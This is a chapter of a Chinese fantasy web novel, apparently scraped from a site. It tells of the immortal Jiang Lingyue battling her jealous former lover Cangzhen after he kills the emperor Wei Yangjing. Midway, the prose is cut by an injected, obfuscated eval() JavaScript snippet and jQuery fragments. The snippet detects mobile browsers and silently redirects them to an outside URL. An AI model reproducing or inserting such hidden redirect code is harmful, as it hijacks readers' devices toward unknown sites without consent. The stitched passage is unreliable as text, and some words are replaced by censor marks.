94. 缘起(四)

    她结起结界将众人护在身后,又将仙气渡入伤者双腿,血肉模糊的残肢得以被接回。


    沧祯环抱双臂站在高处,凉凉讽刺:“好一幅依依惜别,郎情妾意的画面。”


    魏阳景执剑:“又是你。”


    沧祯只看其身后那道纤细背影,挥袖将二人移至东海。魏阳景上前一步,再度被姜泠月扯回。


    “泠月,你告诉我,为何护他?”沧祯凌驾在上空,笑问面拉扯的男女。


    “他命中有劫,安然度过便可飞升中天,你莫要莽撞!”海风拂面,依稀能嗅到沾染在发间的血腥味,姜泠月逆着光线仰头,高声回应。


    “呵,所以你日日夜夜护着这个凡人,甚至对他生出了情谊。”沧祯反问。


    “你究竟在胡说些什么!”姜泠月倏然奔溃,背在身后的手在发抖。


    潮水翻涌,粼粼波光隐射水面,恰有海兽从中跃出。她却觉日光刺眼,风中腥臭。


    让人厌倦至极。


    她垂下脸,死死盯着洁白的掌心。身后的魏阳景陡然拽过她,将来自上方的视线全部挡下。


    沧祯凝视魏阳景身后飘飞的袖摆,视线附着在二人交缠的手臂上。


    他敛笑,妖气在身后撕裂,电弧眨眼将姜泠月勾甩出去。


    待她稳住身形回首,却被潮湿阴黑的结界阻挡。将手覆在其上,妖气被侵蚀驱逐,结界渐融出洞。


    放眼望去,魏阳景已和沧祯对上。他手持宝剑分毫不让,终因凡人之躯落了下风。


    沧祯并非普通妖怪,连帝王的护体罡气都能撞破。魏阳景一时不慎,被抓到空隙,肩头被打穿。


    姜泠月横插到二者中间,将魏阳景锁在光罩中,抬脚将沧祯逼至海面。


    她神情复杂:“原来他的命劫是你。”


    “你不是我的对手。”沧祯眸色幽深,内勾金光,已有化出原形的征兆。


    “你别动他,他是娘娘要保的人。”姜泠月压抑道。


    岂料这句话彻底点燃沧祯的怒火,他喝问:“我管他是谁!我说过,我讨厌所有觊觎你的人。难道今日我会放过一个你倾心相护的魏阳景?”


    “你们一起纵马,一起练剑,在田间同行。他注视你的眼神与我一般,你自己难道看不出来?你对他笑,和我在一起时,你笑过几回?现在你看我只能是这副表情?”


    “笑啊,泠月,你为什么不笑!飞升?飞升?你果然是在等他,届时你们是不是能再续前缘?我只是一只卑贱的……妖,而你们都是受万民跪拜的仙,你我从来不同。”


    姜泠月神情紧绷,竭力忍耐:“那不过是你自己的幻想。我对旁人何时像对你一般忍耐?你再靠前,我只能出手。”


    沧祯冷笑,朝魏阳景所在的方向轰出一拳。


    千钧一发之际,中天的主身降临东海,结界瞬间炸裂成无数碎片。妖气砸向深海,万千海浪翻飞过天幕。


    残骸遮天蔽日,血雨飘洒,二人近在咫尺。


    两掌相接的刹那,姜泠月感受到山倾威压。魏阳景也被这股力量冲击,剑鞘上的红玉宝石出现裂纹。


    她飞出一枚掌印,转头道:“陛下,撑住。”


    “泠月?”第一次见到没有戴面具的她,魏阳景神智混沌间闪过疑惑。


    姜泠月从没想过她的对手会是昔日爱侣,且是妒火中烧,全无理智的沧祯。


    天地被妖气笼罩,伸手不见五指,沧祯的声音在上方荡开:“泠月,我已封住此地。你传不了信,也救不下他!”


    姜泠月沉下脸,携着魏阳景在妖气中飞驰。妖气编织出无数张漫天大网,将她一层层套在其中。


    她一拳捶爆妖网,直冲深海而去。


    沧祯倏然横插过来,那颗妖冶的妖丹寒芒大盛,在二人中间隔开一道横跨天地的屏障。他挟制魏阳景,猩红的眼扫过她,头也不回地砸落大地。


    姜泠月盯着那颗璀璨似琉璃的妖丹,它凝结成的结界透明无暇。以她的修为,只需一指,就能连同妖丹轻易震碎。


    她低低地笑了。


    “泠月,我能忍受你离开我,但我决不容忍你爱上旁人。”捉到她的笑声,沧祯恨恨回头,丝毫不掩饰眼底的哀怨。


    他掐着魏阳景,笔直坠落大地。


    上空,结界陡然碎裂。


    魏阳景迷迷糊糊间,抽出宝剑,竟轻易刺入其胸膛。而他自己,后背也撞在地面。


    红玉宝石顷刻碎裂成渣。


    沧祯压下腹中因罡气反噬的气流,含血癫笑。背后撞来一股气柱,他狼狈躲开。


    姜泠月跪在地上:“陛下!陛下!”


    魏阳景五脏六腑被一缕至毒至纯的妖气渗透,肠穿肚烂,即便被渡入仙气,生命也已走到尽头。他气若游丝,眷恋盯着眼前的女子。


    他攥紧她染血的长裙,眼底有太多不甘。


    他还没有让百姓过上富足的日子,没有疏通天下河道,甚至没资格问一句“你究竟是谁”。


    他早该明白,她不是凡人。


    他死不瞑目,死在她怀里。


    “你别死,我去求祖神,她……魏阳景!”姜泠月抱起他,欲飞去蓬莱,却触碰到浸血的剑鞘。


    冰冷又粘腻。


    “你知道他死后,中州会如何?”望着那双失焦的眼睛,她悲切出声。


    沧祯踉跄爬起,冷漠地注视一切,重复道:“是,他死了,被我杀死了。即便是你,也再无机会将他复活。蓬莱,更无可能徇私。”


    “是啊,他死后中州会如何,你从来不愿想,也永远不会懂。你只是一次次罔顾性命,一次次叫我失望。”


    将魏阳景平放在地,又将天净瓶放在他胸前,姜泠月转身面对沧祯。


    一杆长枪出现在手中,她一步步走到沧祯面前,长枪抵在他胸前。


    那颗完好无损的、妖冶、绚烂的妖丹重新融转回他的体内。


    沧祯本已麻木的双眸轻颤,笑道:“泠月,你要用它来杀我?”


    银白长枪上,正刻着“沧月”二字。


    姜泠月几件法宝中,仁义剑来自人间,黄泉弓祖神赐予,天净瓶是继任司水元君后炼制的本命法宝。


    而制作这把长枪的材料,却是她飞升之际沧祯从外域寻来的。那时她多用长棍法器,沧祯就万里迢迢寻宝,又由她炼制百年才有了这杆沧月枪。


    沧月枪一度是她最趁手的兵器,自二人断了来往,便不再使用。作为回赠,她送了沧祯嵌满奇珍异宝的“镜花水月”。


    今日两件当世奇宝再度聚首,却兵戎相见。


    千年前姜泠月飞升,一度妖道双修,直至祖神观她修行妖术戾气太重,她又只修道法。就算她在此道上毫无天赋,千年来总有长进。


    如今她再用妖术,一瞬妖力翻天。


    她举□□来,顷刻间东海水倾,天地惊变。中天庭猛然晃动,行走的众仙被震飞,连忙稳住身形,朝人间俯瞰。


    蓬莱,烛婵身形不稳,看到东海上的异象,正要赶去却被祖神拦下。


    祖神道:“小婵,他们总要打一场。”


    烛婵生生止住脚步,不安地望向天际。


    昆仑山上,各灵


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14873381|145320||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    族仰头看向远方,异响自穹顶传来,飙风席卷海面。而人间,百姓纷纷出门,眼看云层压向大地。


    此战比当年沧祯对战冥,还要惊天动地。


    姜泠月本就法力无边,如今妖力乍现,又不知是何情形。妖道双修,自是古往今来第一人。


    各方仙人赶至东海,只见云层中隐约有两道人影。气旋相互撕裂吞噬,叫人难以靠近半分。


    众妖王落后一步,大雨浇在脸上,白渊看着如同末日般的景象,忽然跪下。


    他太了解沧祯,他怕,怕沧祯万念俱灰下甘愿被杀。


    几天几夜过去,云层中,姜泠月一次次轰出红纹掌印,沧祯只用镜花水月抵挡。


    镜花水月终于抵挡不住,被沧月□□破镜面。


    “咔嚓。”


    枪头穿过镜花水月,又贯穿沧祯胸口。姜泠月手握枪杆,再度向前数寸!她的拳头碰到沧祯心口,染了一手血。


    沧祯却抓住她的手臂,嘴角渗血:“眼下我还不想死,不然你去找别人,怎么办呢?”


    “我的话,你向来不愿听!”她捏住镜面,指尖用力,镜花水月瞬间碎裂成无数片。


    沧祯眼神一变,瞥到银枪上鲜红的沧月二字,忽然想起那时候,他一定要刻字时泠月微红的脸颊。


    如今,她为别人,用妖术,用二人共铸的沧月枪,刺穿他的胸膛。


    她要他死。


    他忽然想赌一次,泠月究竟会不会杀他。枪头离妖丹只有分毫,只要泠月轻轻一挑,妖丹碎裂,他便会立刻自毁,连残魂都不愿留下。


    对上沧祯视线,姜泠月眼眸微动,呲的一声抽出插入其体内的长枪,再度刺入他的胸膛!


    妖丹被枪头抵住,沧祯蹙眉,丹身出现轻微裂痕。她眼底带泪,终是拔出沧月枪,沧祯后退数步,吐出一滩血。


    姜泠月道:“滚。”


    她头也不回地落到地上,抱起死去的魏阳景,渡云远去。海浪平息,妖气四散,日光重现。


    白渊飞到半空拉住沧祯,哀戚喊:“大哥!”


    沧祯止不住呕血,面色死白,死死盯着姜泠月离开的背影,说不出一句话。


    层层云团当中,众仙呆立如鹤,却没有哪位敢去追姜泠月。他们不明白,司水元君从前与沧祯纠缠痴恋,如今竟又成了生死仇敌?


    为何,还有一个凡人牵涉其中。


    李子陵站在人前,不复往日风姿翩然。他骤然惊觉,说出此事才是一切的祸根,是他让司水元君坠入层层叠叠的因果。他深深地埋下脸,陷入无尽的自责。


    *


    将魏阳景带回浊郡,姜泠月完全不知该如何向众人交代。眼前的这个人,她相识十年的朋友,甚至是……亲人,最后因她惨死。


    是她愧对辛瑶的嘱托,没能护住魏阳景性命。


    沧祯说得没错,要想复活一个人,代价是常人不能承受。或许她一身仙力,天道会通过。


    屋外传来一阵急促脚步声,她慌忙隐去身形。


    张先生佝偻着背跨门而入,乍见魏阳景,立刻上前哭喊。发现他的陛下腹部溃烂,没了鼻息,他浑身抽搐,歪头昏死过去。


    又一群人闯进来,手忙脚乱抬起张先生,又跪倒在塌前啼哭。


    看着这些共事多年的同僚,看着一张张痛苦扭曲的脸,姜泠月夺门而出。她来到荒野上,对着穹顶道:“我愿用一身仙力,去换魏阳景性命。”


    天空乍起三道惊雷,在她脚下扫过。她颓然地跌坐在地,这意味天道不允。


    “为什么!”她呐喊。